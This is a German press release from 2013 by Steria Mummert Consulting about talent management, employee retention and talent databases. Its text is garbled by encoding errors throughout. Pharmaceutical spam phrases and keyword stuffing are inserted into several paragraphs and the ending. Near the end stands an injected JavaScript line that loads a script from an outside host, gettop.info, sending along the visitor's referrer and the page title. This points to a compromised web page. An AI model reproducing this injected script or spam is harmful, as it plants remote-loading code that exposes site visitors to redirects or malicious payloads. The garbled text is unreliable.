Hamburg, 24. Oktober 2013 – Mit dem FachkrAi??ftemangel steigen die Rekrutierungskosten fA?r neue Mitarbeiter. Mehr als 60 Prozent der Unternehmen versuchen deshalb, ihre besten Mitarbeiter zu binden.
trazodone with no prescription.
Dabei steigt die Datenmenge der Personalcontroller stark an. Ziel ist, beispielsweise VerAi??nderungen in der Lebenssituation von Mitarbeitern frA?h zu erkennen und zu berA?cksichtigen. Das ergibt der “Managementkompass Demographiemanagement” von Steria Mummert Consulting.
80 Prozent der befragten Unternehmen bieten den Mitarbeitern Trainings, Coachings oder Mentorenprogramme an. Am zweithAi??ufigsten (50 Prozent) nennen die Firmen weiterfA?hrende MaAYnahmen zur Mitarbeiterrekrutierung wie den Besuch von Hochschulmessen und das Anbieten von Assessmentcentern. MaAYnahmen zur Mitarbeiterbindung wie talentorientierte Laufbahn- und VergA?tungsmodelle werden mit 48 Prozent am dritthAi??ufigsten genannt. Zwei Prozent der Befragten wenden keine MaAYnahmen an.
canada alli diet pills. degra.
“Im Rahmen des Talentmanagements geht es unter anderem darum, Mitarbeiter aktiv zu gewinnen und langfristig zu binden. Die Programme waren frA?her eher auf High Potentials ausgerichtet, heute dagegen stehen immer Ai??fter deutlich grAi??AYere Mitarbeitergruppen im Fokus, sagt Thomas Dorow, Senior Manager Human Capital Management, Solution Center SAP, bei Steria Mummert Consulting.
Wichtige Voraussetzung fA?r eine Talentmanagement-Strategie ist, Mitarbeiterdaten zu sammeln. Doch viele Unternehmen haben Schwierigkeiten, die daraus gezogenen Erkenntnisse in die RealitAi??t umzusetzen. Nur knapp die HAi??lfte der Unternehmen zieht laut einer Studie die gesammelten Daten als Grundlage fA?r GeschAi??ftsentscheidungen heran. Die meisten Arbeitgeber nutzen sie nicht einmal fA?r die Personalplanung. Denn viele Personalabteilungen sind vom Umfang ihrer Personaldaten schlicht A?berfordert.
Personalprofi Dorow empfiehlt den Einsatz von Talentdatenbanken – also von IT-Software, die die angehAi??uften Personaldaten nach den BedA?rfnissen der Firma spezifisch auswerten. In der RealitAi??t wenden allerdings nur 16 Prozent der Unternehmen eine derartige Software an. Der Vorteil der Software: Diese kann mit anderen Inhalten – wie etwa Kennzahlen aus dem Kundenmanagementsystem, Ergebnissen aus den MitarbeitergesprAi??chen – verknA?pft werden. So lAi??sst sich leichter herausfinden, welcher Kandidat am besten fA?r eine bestimmte Stelle geeignet ist.
Hintergrundinformationen
Der “Managementkompass Demographiemanagement” von Steria Mummert Consulting und dem F.A.Z.-Institut bietet Kompaktwissen fA?r Manager. Er zeigt anhand von ExpertenbeitrAi??gen aus Praxis und Wissenschaft, wie Unternehmen dem demographischen Wandel entgegenwirken und die Potenziale Ai??lterer Mitarbeiter optimal nutzen. Er beinhaltet zudem die wichtigsten Ergebnisse der gleichnamigen Potenzialanalyse. Hier wurden im Juli 2013 in Kooperation mit dem IMWF Institut fA?r Management- und Wirtschaftsforschung 229 Fach- und FA?hrungskrAi??fte aus dem Bereich Personal oder GeschAi??ftsfA?hrer in Unternehmen mit einer Mitarbeiterzahl von 100 und mehr befragt. penegra tablet.
Die Presseinformation finden Sie auch online auf unserer Website:
http://bit.ly/steria_talentjaeger
– ENDE –
A?ber:
Steria Mummert Consulting
Herr Birgit EckmA?ller
Hans-Henny-Jahnn-Weg 29
22085 Hamburg
Deutschland
fon ..: 040 22703-5219
fax ..: 040 22703-1219
web ..: http://www.steria-mummert.de
email : presse@steria-mummert.de
A?ber Steria Mummert Consulting (www.steria-mummert.de)
Steria Mummert Consulting bietet Unternehmen und BehAi??rden Business-Services auf Basis modernster IT und zAi??hlt heute zu den zehn fA?hrenden Business Transformation Partnern in Deutschland. Als Teil der Steria Gruppe verbindet das Unternehmen die tiefgehende Kenntnis der GeschAi??ftsmodelle seiner Kunden mit einer umfassenden internationalen Expertise in IT und Business Process Outsourcing. Mit seinem kooperativen Beratungsstil begleitet Steria Mummert Consulting seine Kunden bei ihren Transformationsprozessen und ermAi??glicht so, dass sie sich auf ihr KerngeschAi??ft konzentrieren und ihre Erfolgsposition nachhaltig verbessern kAi??nnen. 20.000 Steria-Mitarbeiter in 16 LAi??ndern stehen hinter den Systemen, Services und Prozessen, die Tag fA?r Tag die Welt in Gang halten, und berA?hren dabei das Leben von Millionen Menschen weltweit. 1969 gegrA?ndet, unterhAi??lt Steria heute Standorte in Europa, Indien, Nordafrika und SA?dostasien. Der Umsatz des Unternehmens betrug im Jahr 2012 1,83 Milliarden Euro. Mehr als 20 Prozent* des Kapitals sind im Besitz der Steria-Mitarbeiter. Die Gruppe, mit Hauptsitz in Paris, ist an der Euronext Paris gelistet. cialis soft tabs 20 mg.
*Inkl. ,,SET Trust” und ,,XEBT Trust” (4,15% des Kapitals).
Pressekontakt:
Faktenkontor GmbH
Herr JAi??rg Forthmann
Ludwig-Erhard-Str. 37
20459 Hamburg
fon ..: 040 253185-111
email : joerg.forthmann@faktenkontor.de
s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; sandoz finasteride, sandoz finasteride, sandoz finasteride, sandoz finasteride, ciallis, ciallis, ciallis, ciallis, ciallis, ciallis. sandoz finasteride, sandoz finasteride, sandoz finasteride, sandoz finasteride.